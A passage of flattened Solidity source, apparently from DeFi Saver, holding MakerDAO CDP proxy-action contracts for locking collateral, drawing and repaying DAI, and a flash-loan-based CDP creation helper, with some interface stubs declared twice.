function join(address, uint256) public virtual payable;
function exit(address, uint256) public virtual;
}
abstract contract GNTJoinLike {
function bags(address) public virtual view returns (address);
function make(address) public virtual returns (address);
}
abstract contract DaiJoinLike {
function vat() public virtual returns (VatLike);
function dai() public virtual returns (GemLike);
function join(address, uint256) public virtual payable;
function exit(address, uint256) public virtual;
}
abstract contract HopeLike {
function hope(address) public virtual;
function nope(address) public virtual;
}
abstract contract ProxyRegistryInterface {
function build(address) public virtual returns (address);
}
abstract contract EndLike {
function fix(bytes32) public virtual view returns (uint256);
function cash(bytes32, uint256) public virtual;
function free(bytes32) public virtual;
function pack(uint256) public virtual;
function skim(bytes32, address) public virtual;
}
abstract contract JugLike {
function drip(bytes32) public virtual returns (uint256);
}
abstract contract PotLike {
function pie(address) public virtual view returns (uint256);
function drip() public virtual returns (uint256);
function join(uint256) public virtual;
function exit(uint256) public virtual;
}
abstract contract ProxyRegistryLike {
function proxies(address) public virtual view returns (address);
function build(address) public virtual returns (address);
}
abstract contract ProxyLike {
function owner() public virtual view returns (address);
}
contract Common {
uint256 constant RAY = 10**27;
// Internal functions
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "mul-overflow");
}
// Public functions
// solhint-disable-next-line func-name-mixedcase
function daiJoin_join(address apt, address urn, uint256 wad) public {
// Gets DAI from the user's wallet
DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the DAI amount
DaiJoinLike(apt).dai().approve(apt, wad);
// Joins DAI into the vat
DaiJoinLike(apt).join(urn, wad);
}
}
contract MCDCreateProxyActions is Common {
// Internal functions
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "sub-overflow");
}
function toInt(uint256 x) internal pure returns (int256 y) {
y = int256(x);
require(y >= 0, "int-overflow");
}
function toRad(uint256 wad) internal pure returns (uint256 rad) {
rad = mul(wad, 10**27);
}
function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) {
// For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function
// Adapters will automatically handle the difference of precision
wad = mul(amt, 10**(18 - GemJoinLike(gemJoin).dec()));
}
function _getDrawDart(address vat, address jug, address urn, bytes32 ilk, uint256 wad)
internal
returns (int256 dart)
{
// Updates stability fee rate
uint256 rate = JugLike(jug).drip(ilk);
// Gets DAI balance of the urn in the vat
uint256 dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (dai < mul(wad, RAY)) {
// Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens
dart = toInt(sub(mul(wad, RAY), dai) / rate);
// This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount)
dart = mul(uint256(dart), rate) < mul(wad, RAY) ? dart + 1 : dart;
}
}
function _getWipeDart(address vat, uint256 dai, address urn, bytes32 ilk)
internal
view
returns (int256 dart)
{
// Gets actual rate from the vat
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint256 art) = VatLike(vat).urns(ilk, urn);
// Uses the whole dai balance in the vat to reduce the debt
dart = toInt(dai / rate);
// Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value
dart = uint256(dart) <= art ? -dart : -toInt(art);
}
function _getWipeAllWad(address vat, address usr, address urn, bytes32 ilk)
internal
view
returns (uint256 wad)
{
// Gets actual rate from the vat
(, uint256 rate, , , ) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint256 art) = VatLike(vat).urns(ilk, urn);
// Gets actual dai amount in the urn
uint256 dai = VatLike(vat).dai(usr);
uint256 rad = sub(mul(art, rate), dai);
wad = rad / RAY;
// If the rad precision has some dust, it will need to request for 1 extra wad wei
wad = mul(wad, RAY) < rad ? wad + 1 : wad;
}
// Public functions
function transfer(address gem, address dst, uint256 wad) public {
GemLike(gem).transfer(dst, wad);
}
// solhint-disable-next-line func-name-mixedcase
function ethJoin_join(address apt, address urn) public payable {
// Wraps ETH in WETH
GemJoinLike(apt).gem().deposit{value: msg.value}();
// Approves adapter to take the WETH amount
GemJoinLike(apt).gem().approve(address(apt), msg.value);
// Joins WETH collateral into the vat
GemJoinLike(apt).join(urn, msg.value);
}
// solhint-disable-next-line func-name-mixedcase
function gemJoin_join(address apt, address urn, uint256 wad, bool transferFrom) public {
// Only executes for tokens that have approval/transferFrom implementation
if (transferFrom) {
// Gets token from the user's wallet
GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the token amount
GemJoinLike(apt).gem().approve(apt, 0);
GemJoinLike(apt).gem().approve(apt, wad);
}
// Joins token collateral into the vat
GemJoinLike(apt).join(urn, wad);
}
function hope(address obj, address usr) public {
HopeLike(obj).hope(usr);
}
function nope(address obj, address usr) public {
HopeLike(obj).nope(usr);
}
function open(address manager, bytes32 ilk, address usr) public returns (uint256 cdp) {
cdp = ManagerLike(manager).open(ilk, usr);
}
function give(address manager, uint256 cdp, address usr) public {
ManagerLike(manager).give(cdp, usr);
}
function move(address manager, uint256 cdp, address dst, uint256 rad) public {
ManagerLike(manager).move(cdp, dst, rad);
}
function frob(address manager, uint256 cdp, int256 dink, int256 dart) public {
ManagerLike(manager).frob(cdp, dink, dart);
}
function lockETH(address manager, address ethJoin, uint256 cdp) public payable {
// Receives ETH amount, converts it to WETH and joins it into the vat
ethJoin_join(ethJoin, address(this));
// Locks WETH amount into the CDP
VatLike(ManagerLike(manager).vat()).frob(
ManagerLike(manager).ilks(cdp),
ManagerLike(manager).urns(cdp),
address(this),
address(this),
toInt(msg.value),
0
);
}
function lockGem(address manager, address gemJoin, uint256 cdp, uint256 wad, bool transferFrom)
public
{
// Takes token amount from user's wallet and joins into the vat
gemJoin_join(gemJoin, address(this), wad, transferFrom);
// Locks token amount into the CDP
VatLike(ManagerLike(manager).vat()).frob(
ManagerLike(manager).ilks(cdp),
ManagerLike(manager).urns(cdp),
address(this),
address(this),
toInt(convertTo18(gemJoin, wad)),
0
);
}
function draw(address manager, address jug, address daiJoin, uint256 cdp, uint256 wad) public {
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Generates debt in the CDP
frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad));
// Moves the DAI amount (balance in the vat in rad) to proxy's address
move(manager, cdp, address(this), toRad(wad));
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(msg.sender, wad);
}
function lockETHAndDraw(
address manager,
address jug,
address ethJoin,
address daiJoin,
uint256 cdp,
uint256 wadD
) public payable {
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Receives ETH amount, converts it to WETH and joins it into the vat
ethJoin_join(ethJoin, urn);
// Locks WETH amount into the CDP and generates debt
frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD));
// Moves the DAI amount (balance in the vat in rad) to proxy's address
move(manager, cdp, address(this), toRad(wadD));
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(msg.sender, wadD);
}
function openLockETHAndDraw(
address manager,
address jug,
address ethJoin,
address daiJoin,
bytes32 ilk,
uint256 wadD,
address owner
) public payable returns (uint256 cdp) {
cdp = open(manager, ilk, address(this));
lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD);
give(manager, cdp, owner);
}
function lockGemAndDraw(
address manager,
address jug,
address gemJoin,
address daiJoin,
uint256 cdp,
uint256 wadC,
uint256 wadD,
bool transferFrom
) public {
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Takes token amount from user's wallet and joins into the vat
gemJoin_join(gemJoin, urn, wadC, transferFrom);
// Locks token amount into the CDP and generates debt
frob(
manager,
cdp,
toInt(convertTo18(gemJoin, wadC)),
_getDrawDart(vat, jug, urn, ilk, wadD)
);
// Moves the DAI amount (balance in the vat in rad) to proxy's address
move(manager, cdp, address(this), toRad(wadD));
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(msg.sender, wadD);
}
function openLockGemAndDraw(
address manager,
address jug,
address gemJoin,
address daiJoin,
bytes32 ilk,
uint256 wadC,
uint256 wadD,
bool transferFrom,
address owner
) public returns (uint256 cdp) {
cdp = open(manager, ilk, address(this));
lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, wadC, wadD, transferFrom);
give(manager, cdp, owner);
}
}
contract MCDCreateTaker {
using SafeERC20 for ERC20;
address payable public constant MCD_CREATE_FLASH_LOAN = 0x71eC9a4fCE561c3936a511D9ebb05B60CF2bA519;
address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant ETH_JOIN_ADDRESS = 0x2F0b23f53734252Bda2277357e97e1517d6B042A;
ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119);
// solhint-disable-next-line const-name-snakecase
Manager public constant manager = Manager(0x5ef30b9986345249bc32d8928B7ee64DE9435E39);
// solhint-disable-next-line const-name-snakecase
DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126);
struct CreateData {
uint collAmount;
uint daiAmount;
address joinAddr;
}
function openWithLoan(
SaverExchangeCore.ExchangeData memory _exchangeData,
CreateData memory _createData
) public payable {
MCD_CREATE_FLASH_LOAN.transfer(msg.value); //0x fee
if (_createData.joinAddr != ETH_JOIN_ADDRESS) {
ERC20(getCollateralAddr(_createData.joinAddr)).safeTransferFrom(msg.sender, address(this), _createData.collAmount);
ERC20(getCollateralAddr(_createData.joinAddr)).safeTransfer(MCD_CREATE_FLASH_LOAN, _createData.collAmount);
}
(uint[6] memory numData, address[5] memory addrData, bytes memory callData)
= _packData(_createData, _exchangeData);
bytes memory paramsData = abi.encode(numData, addrData, callData, address(this));
lendingPool.flashLoan(MCD_CREATE_FLASH_LOAN, DAI_ADDRESS, _createData.daiAmount, paramsData);
logger.Log(address(this), msg.sender, "MCDCreate", abi.encode(manager.last(address(this)), _createData.collAmount, _createData.daiAmount));
}
function getCollateralAddr(address _joinAddr) internal view returns (address) {
return address(Join(_joinAddr).gem());
}
function _packData(
CreateData memory _createData,
SaverExchangeCore.ExchangeData memory exchangeData
) internal pure returns (uint[6] memory numData, address[5] memory addrData, bytes memory callData) {
numData = [
_createData.collAmount,
_createData.daiAmount,
exchangeData.srcAmount,
exchangeData.destAmount,
exchangeData.minPrice,
exchangeData.price0x
];
addrData = [
exchangeData.srcAddr,
exchangeData.destAddr,
exchangeData.exchangeAddr,
exchangeData.wrapper,
_createData.joinAddr
];
callData = exchangeData.callData;
}
}
abstract contract GemLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
}
abstract contract ManagerLike {
function cdpCan(address, uint, address) virtual public view returns (uint);
function ilks(uint) virtual public view returns (bytes32);
function owns(uint) virtual public view returns (address);
function urns(uint) virtual public view returns (address);
function vat() virtual public view returns (address);
function open(bytes32, address) virtual public returns (uint);
function give(uint, address) virtual public;
function cdpAllow(uint, address, uint) virtual public;
function urnAllow(address, uint) virtual public;
function frob(uint, int, int) virtual public;
function flux(uint, address, uint) virtual public;
function move(uint, address, uint) virtual public;
function exit(address, uint, address, uint) virtual public;
function quit(uint, address) virtual public;
function enter(address, uint) virtual public;
function shift(uint, uint) virtual public;
}
abstract contract VatLike {
function can(address, address) virtual public view returns (uint);
function ilks(bytes32) virtual public view returns (uint, uint, uint, uint, uint);
function dai(address) virtual public view returns (uint);
function urns(bytes32, address) virtual public view returns (uint, uint);
function frob(bytes32, address, address, address, int, int) virtual public;
function hope(address) virtual public;
function move(address, address, uint) virtual public;
}
abstract contract GemJoinLike {
function dec() virtual public returns (uint);
function gem() virtual public returns (GemLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract GNTJoinLike {
function bags(address) virtual public view returns (address);
function make(address) virtual public returns (address);
}
abstract contract DaiJoinLike {
function vat() virtual public returns (VatLike);
function dai() virtual public returns (GemLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract HopeLike {
function hope(address) virtual public;
function nope(address) virtual public;
}
abstract contract ProxyRegistryInterface {
function proxies(address _owner) virtual public view returns (address);
function build(address) virtual public returns (address);
}
abstract contract EndLike {
function fix(bytes32) virtual public view returns (uint);
function cash(bytes32, uint) virtual public;
function free(bytes32) virtual public;
function pack(uint) virtual public;
function skim(bytes32, address) virtual public;
}
abstract contract JugLike {
function drip(bytes32) virtual public returns (uint);
}
abstract contract PotLike {
function pie(address) virtual public view returns (uint);
function drip() virtual public returns (uint);
function join(uint) virtual public;
function exit(uint) virtual public;
}
abstract contract ProxyRegistryLike {
function proxies(address) virtual public view returns (address);
function build(address) virtual public returns (address);
}
abstract contract ProxyLike {
function owner() virtual public view returns (address);
}
abstract contract DSProxy {
function execute(address _target, bytes memory _data) virtual public payable returns (bytes32);
function setOwner(address owner_) virtual public;
}
contract Common {
uint256 constant RAY = 10 ** 27;
// Internal functions
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "mul-overflow");
}
// Public functions
function daiJoin_join(address apt, address urn, uint wad) public {
// Gets DAI from the user's wallet
DaiJoinLike(apt).dai().transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the DAI amount
DaiJoinLike(apt).dai().approve(apt, wad);
// Joins DAI into the vat
DaiJoinLike(apt).join(urn, wad);
}
}
contract SaverProxyActions is Common {
event CDPAction(string indexed, uint indexed, uint, uint);
// Internal functions
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "sub-overflow");
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
function toRad(uint wad) internal pure returns (uint rad) {
rad = mul(wad, 10 ** 27);
}
function convertTo18(address gemJoin, uint256 amt) internal returns (uint256 wad) {
// For those collaterals that have less than 18 decimals precision we need to do the conversion before passing to frob function
// Adapters will automatically handle the difference of precision
wad = mul(
amt,
10 ** (18 - GemJoinLike(gemJoin).dec())
);
}
function _getDrawDart(
address vat,
address jug,
address urn,
bytes32 ilk,
uint wad
) internal returns (int dart) {
// Updates stability fee rate
uint rate = JugLike(jug).drip(ilk);
// Gets DAI balance of the urn in the vat
uint dai = VatLike(vat).dai(urn);
// If there was already enough DAI in the vat balance, just exits it without adding more debt
if (dai < mul(wad, RAY)) {
// Calculates the needed dart so together with the existing dai in the vat is enough to exit wad amount of DAI tokens
dart = toInt(sub(mul(wad, RAY), dai) / rate);
// This is neeeded due lack of precision. It might need to sum an extra dart wei (for the given DAI wad amount)
dart = mul(uint(dart), rate) < mul(wad, RAY) ? dart + 1 : dart;
}
}
function _getWipeDart(
address vat,
uint dai,
address urn,
bytes32 ilk
) internal view returns (int dart) {
// Gets actual rate from the vat
(, uint rate,,,) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint art) = VatLike(vat).urns(ilk, urn);
// Uses the whole dai balance in the vat to reduce the debt
dart = toInt(dai / rate);
// Checks the calculated dart is not higher than urn.art (total debt), otherwise uses its value
dart = uint(dart) <= art ? - dart : - toInt(art);
}
function _getWipeAllWad(
address vat,
address usr,
address urn,
bytes32 ilk
) internal view returns (uint wad) {
// Gets actual rate from the vat
(, uint rate,,,) = VatLike(vat).ilks(ilk);
// Gets actual art value of the urn
(, uint art) = VatLike(vat).urns(ilk, urn);
// Gets actual dai amount in the urn
uint dai = VatLike(vat).dai(usr);
uint rad = sub(mul(art, rate), dai);
wad = rad / RAY;
// If the rad precision has some dust, it will need to request for 1 extra wad wei
wad = mul(wad, RAY) < rad ? wad + 1 : wad;
}
// Public functions
function transfer(address gem, address dst, uint wad) public {
GemLike(gem).transfer(dst, wad);
}
function ethJoin_join(address apt, address urn) public payable {
// Wraps ETH in WETH
GemJoinLike(apt).gem().deposit{value: msg.value}();
// Approves adapter to take the WETH amount
GemJoinLike(apt).gem().approve(address(apt), msg.value);
// Joins WETH collateral into the vat
GemJoinLike(apt).join(urn, msg.value);
}
function gemJoin_join(address apt, address urn, uint wad, bool transferFrom) public {
// Only executes for tokens that have approval/transferFrom implementation
if (transferFrom) {
// Gets token from the user's wallet
GemJoinLike(apt).gem().transferFrom(msg.sender, address(this), wad);
// Approves adapter to take the token amount
GemJoinLike(apt).gem().approve(apt, 0);
GemJoinLike(apt).gem().approve(apt, wad);
}
// Joins token collateral into the vat
GemJoinLike(apt).join(urn, wad);
}
function hope(
address obj,
address usr
) public {
HopeLike(obj).hope(usr);
}
function nope(
address obj,
address usr
) public {
HopeLike(obj).nope(usr);
}
function open(
address manager,
bytes32 ilk,
address usr
) public returns (uint cdp) {
cdp = ManagerLike(manager).open(ilk, usr);
}
function give(
address manager,
uint cdp,
address usr
) public {
ManagerLike(manager).give(cdp, usr);
emit CDPAction('give', cdp, 0, 0);
}
function giveToProxy(
address proxyRegistry,
address manager,
uint cdp,
address dst
) public {
// Gets actual proxy address
address proxy = ProxyRegistryLike(proxyRegistry).proxies(dst);
// Checks if the proxy address already existed and dst address is still the owner
if (proxy == address(0) || ProxyLike(proxy).owner() != dst) {
uint csize;
assembly {
csize := extcodesize(dst)
}
// We want to avoid creating a proxy for a contract address that might not be able to handle proxies, then losing the CDP
require(csize == 0, "Dst-is-a-contract");
// Creates the proxy for the dst address
proxy = ProxyRegistryLike(proxyRegistry).build(dst);
}
// Transfers CDP to the dst proxy
give(manager, cdp, proxy);
}
function cdpAllow(
address manager,
uint cdp,
address usr,
uint ok
) public {
ManagerLike(manager).cdpAllow(cdp, usr, ok);
}
function urnAllow(
address manager,
address usr,
uint ok
) public {
ManagerLike(manager).urnAllow(usr, ok);
}
function flux(
address manager,
uint cdp,
address dst,
uint wad
) public {
ManagerLike(manager).flux(cdp, dst, wad);
}
function move(
address manager,
uint cdp,
address dst,
uint rad
) public {
ManagerLike(manager).move(cdp, dst, rad);
}
function frob(
address manager,
uint cdp,
int dink,
int dart
) public {
ManagerLike(manager).frob(cdp, dink, dart);
}
function quit(
address manager,
uint cdp,
address dst
) public {
ManagerLike(manager).quit(cdp, dst);
}
function enter(
address manager,
address src,
uint cdp
) public {
ManagerLike(manager).enter(src, cdp);
}
function shift(
address manager,
uint cdpSrc,
uint cdpOrg
) public {
ManagerLike(manager).shift(cdpSrc, cdpOrg);
}
function makeGemBag(
address gemJoin
) public returns (address bag) {
bag = GNTJoinLike(gemJoin).make(address(this));
}
function lockETH(
address manager,
address ethJoin,
uint cdp
) public payable {
// Receives ETH amount, converts it to WETH and joins it into the vat
ethJoin_join(ethJoin, address(this));
// Locks WETH amount into the CDP
VatLike(ManagerLike(manager).vat()).frob(
ManagerLike(manager).ilks(cdp),
ManagerLike(manager).urns(cdp),
address(this),
address(this),
toInt(msg.value),
0
);
emit CDPAction('lockETH', cdp, msg.value, 0);
}
function lockGem(
address manager,
address gemJoin,
uint cdp,
uint wad,
bool transferFrom
) public {
// Takes token amount from user's wallet and joins into the vat
gemJoin_join(gemJoin, address(this), wad, transferFrom);
// Locks token amount into the CDP
VatLike(ManagerLike(manager).vat()).frob(
ManagerLike(manager).ilks(cdp),
ManagerLike(manager).urns(cdp),
address(this),
address(this),
toInt(convertTo18(gemJoin, wad)),
0
);
emit CDPAction('lockGem', cdp, wad, 0);
}
function freeETH(
address manager,
address ethJoin,
uint cdp,
uint wad
) public {
// Unlocks WETH amount from the CDP
frob(manager, cdp, -toInt(wad), 0);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wad);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wad);
// Sends ETH back to the user's wallet
msg.sender.transfer(wad);
emit CDPAction('freeETH', cdp, wad, 0);
}
function freeGem(
address manager,
address gemJoin,
uint cdp,
uint wad
) public {
uint wad18 = convertTo18(gemJoin, wad);
// Unlocks token amount from the CDP
frob(manager, cdp, -toInt(wad18), 0);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad18);
// Exits token amount to the user's wallet as a token
GemJoinLike(gemJoin).exit(msg.sender, wad);
emit CDPAction('freeGem', cdp, wad, 0);
}
function exitETH(
address manager,
address ethJoin,
uint cdp,
uint wad
) public {
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wad);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wad);
// Sends ETH back to the user's wallet
msg.sender.transfer(wad);
}
function exitGem(
address manager,
address gemJoin,
uint cdp,
uint wad
) public {
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), convertTo18(gemJoin, wad));
// Exits token amount to the user's wallet as a token
GemJoinLike(gemJoin).exit(msg.sender, wad);
}
function draw(
address manager,
address jug,
address daiJoin,
uint cdp,
uint wad
) public {
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Generates debt in the CDP
frob(manager, cdp, 0, _getDrawDart(vat, jug, urn, ilk, wad));
// Moves the DAI amount (balance in the vat in rad) to proxy's address
move(manager, cdp, address(this), toRad(wad));
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(msg.sender, wad);
emit CDPAction('draw', cdp, 0, wad);
}
function wipe(
address manager,
address daiJoin,
uint cdp,
uint wad
) public {
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(cdp);
bytes32 ilk = ManagerLike(manager).ilks(cdp);
address own = ManagerLike(manager).owns(cdp);
if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) {
// Joins DAI amount into the vat
daiJoin_join(daiJoin, urn, wad);
// Paybacks debt to the CDP
frob(manager, cdp, 0, _getWipeDart(vat, VatLike(vat).dai(urn), urn, ilk));
} else {
// Joins DAI amount into the vat
daiJoin_join(daiJoin, address(this), wad);
// Paybacks debt to the CDP
VatLike(vat).frob(
ilk,
urn,
address(this),
address(this),
0,
_getWipeDart(vat, wad * RAY, urn, ilk)
);
}
emit CDPAction('wipe', cdp, 0, wad);
}
function wipeAll(
address manager,
address daiJoin,
uint cdp
) public {
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(cdp);
bytes32 ilk = ManagerLike(manager).ilks(cdp);
(, uint art) = VatLike(vat).urns(ilk, urn);
address own = ManagerLike(manager).owns(cdp);
if (own == address(this) || ManagerLike(manager).cdpCan(own, cdp, address(this)) == 1) {
// Joins DAI amount into the vat
daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk));
// Paybacks debt to the CDP
frob(manager, cdp, 0, -int(art));
} else {
// Joins DAI amount into the vat
daiJoin_join(daiJoin, address(this), _getWipeAllWad(vat, address(this), urn, ilk));
// Paybacks debt to the CDP
VatLike(vat).frob(
ilk,
urn,
address(this),
address(this),
0,
-int(art)
);
}
emit CDPAction('wipeAll', cdp, 0, art);
}
function lockETHAndDraw(
address manager,
address jug,
address ethJoin,
address daiJoin,
uint cdp,
uint wadD
) public payable {
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Receives ETH amount, converts it to WETH and joins it into the vat
ethJoin_join(ethJoin, urn);
// Locks WETH amount into the CDP and generates debt
frob(manager, cdp, toInt(msg.value), _getDrawDart(vat, jug, urn, ilk, wadD));
// Moves the DAI amount (balance in the vat in rad) to proxy's address
move(manager, cdp, address(this), toRad(wadD));
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(msg.sender, wadD);
}
function openLockETHAndDraw(
address manager,
address jug,
address ethJoin,
address daiJoin,
bytes32 ilk,
uint wadD
) public payable returns (uint cdp) {
cdp = open(manager, ilk, address(this));
lockETHAndDraw(manager, jug, ethJoin, daiJoin, cdp, wadD);
emit CDPAction('openLockETHAndDraw', cdp, msg.value, wadD);
}
function lockGemAndDraw(
address manager,
address jug,
address gemJoin,
address daiJoin,
uint cdp,
uint wadC,
uint wadD,
bool transferFrom
) public {
address urn = ManagerLike(manager).urns(cdp);
address vat = ManagerLike(manager).vat();
bytes32 ilk = ManagerLike(manager).ilks(cdp);
// Takes token amount from user's wallet and joins into the vat
gemJoin_join(gemJoin, urn, wadC, transferFrom);
// Locks token amount into the CDP and generates debt
frob(manager, cdp, toInt(convertTo18(gemJoin, wadC)), _getDrawDart(vat, jug, urn, ilk, wadD));
// Moves the DAI amount (balance in the vat in rad) to proxy's address
move(manager, cdp, address(this), toRad(wadD));
// Allows adapter to access to proxy's DAI balance in the vat
if (VatLike(vat).can(address(this), address(daiJoin)) == 0) {
VatLike(vat).hope(daiJoin);
}
// Exits DAI to the user's wallet as a token
DaiJoinLike(daiJoin).exit(msg.sender, wadD);
}
function openLockGemAndDraw(
address manager,
address jug,
address gemJoin,
address daiJoin,
bytes32 ilk,
uint wadC,
uint wadD,
bool transferFrom
) public returns (uint cdp) {
cdp = open(manager, ilk, address(this));
lockGemAndDraw(manager, jug, gemJoin, daiJoin, cdp, wadC, wadD, transferFrom);
emit CDPAction('openLockGemAndDraw', cdp, wadC, wadD);
}
function wipeAllAndFreeETH(
address manager,
address ethJoin,
address daiJoin,
uint cdp,
uint wadC
) public {
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(cdp);
bytes32 ilk = ManagerLike(manager).ilks(cdp);
(, uint art) = VatLike(vat).urns(ilk, urn);
// Joins DAI amount into the vat
daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk));
// Paybacks debt to the CDP and unlocks WETH amount from it
frob(
manager,
cdp,
-toInt(wadC),
-int(art)
);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wadC);
// Exits WETH amount to proxy address as a token
GemJoinLike(ethJoin).exit(address(this), wadC);
// Converts WETH to ETH
GemJoinLike(ethJoin).gem().withdraw(wadC);
// Sends ETH back to the user's wallet
msg.sender.transfer(wadC);
emit CDPAction('wipeAllAndFreeETH', cdp, wadC, art);
}
function wipeAndFreeGem(
address manager,
address gemJoin,
address daiJoin,
uint cdp,
uint wadC,
uint wadD
) public {
address urn = ManagerLike(manager).urns(cdp);
// Joins DAI amount into the vat
daiJoin_join(daiJoin, urn, wadD);
uint wad18 = convertTo18(gemJoin, wadC);
// Paybacks debt to the CDP and unlocks token amount from it
frob(
manager,
cdp,
-toInt(wad18),
_getWipeDart(ManagerLike(manager).vat(), VatLike(ManagerLike(manager).vat()).dai(urn), urn, ManagerLike(manager).ilks(cdp))
);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad18);
// Exits token amount to the user's wallet as a token
GemJoinLike(gemJoin).exit(msg.sender, wadC);
}
function wipeAllAndFreeGem(
address manager,
address gemJoin,
address daiJoin,
uint cdp,
uint wadC
) public {
address vat = ManagerLike(manager).vat();
address urn = ManagerLike(manager).urns(cdp);
bytes32 ilk = ManagerLike(manager).ilks(cdp);
(, uint art) = VatLike(vat).urns(ilk, urn);
// Joins DAI amount into the vat
daiJoin_join(daiJoin, urn, _getWipeAllWad(vat, urn, urn, ilk));
uint wad18 = convertTo18(gemJoin, wadC);
// Paybacks debt to the CDP and unlocks token amount from it
frob(
manager,
cdp,
-toInt(wad18),
-int(art)
);
// Moves the amount from the CDP urn to proxy's address
flux(manager, cdp, address(this), wad18);
// Exits token amount to the user's wallet as a token
GemJoinLike(gemJoin).exit(msg.sender, wadC);
emit CDPAction('wipeAllAndFreeGem', cdp, wadC, art);
}
function createProxyAndCDP(
address manager,
address jug,
address ethJoin,
address daiJoin,
bytes32 ilk,
uint wadD,
address registry
) public payable returns(uint) {
address proxy = ProxyRegistryInterface(registry).build(msg.sender);
uint cdp = openLockETHAndDraw(manager,
jug,
ethJoin,
daiJoin,
ilk,
wadD
);
give(manager, cdp, address(proxy));
return cdp;
}
function createProxyAndGemCDP(
address manager,
address jug,
address gemJoin,
address daiJoin,
bytes32 ilk,
uint wadC,
uint wadD,
bool transferFrom,
address registry
) public returns(uint) {
address proxy = ProxyRegistryInterface(registry).build(msg.sender);
uint cdp = openLockGemAndDraw(manager,
jug,
gemJoin,
daiJoin,
ilk,
wadC,
wadD,
transferFrom);
give(manager, cdp, address(proxy));
return cdp;
}
}
contract MCDSaverProxyHelper is DSMath {
/// @notice Returns a normalized debt _amount based on the current rate
/// @param _amount Amount of dai to be normalized
/// @param _rate Current rate of the stability fee
/// @param _daiVatBalance Balance od Dai in the Vat for that CDP
function normalizeDrawAmount(uint _amount, uint _rate, uint _daiVatBalance) internal pure returns (int dart) {
if (_daiVatBalance < mul(_amount, RAY)) {
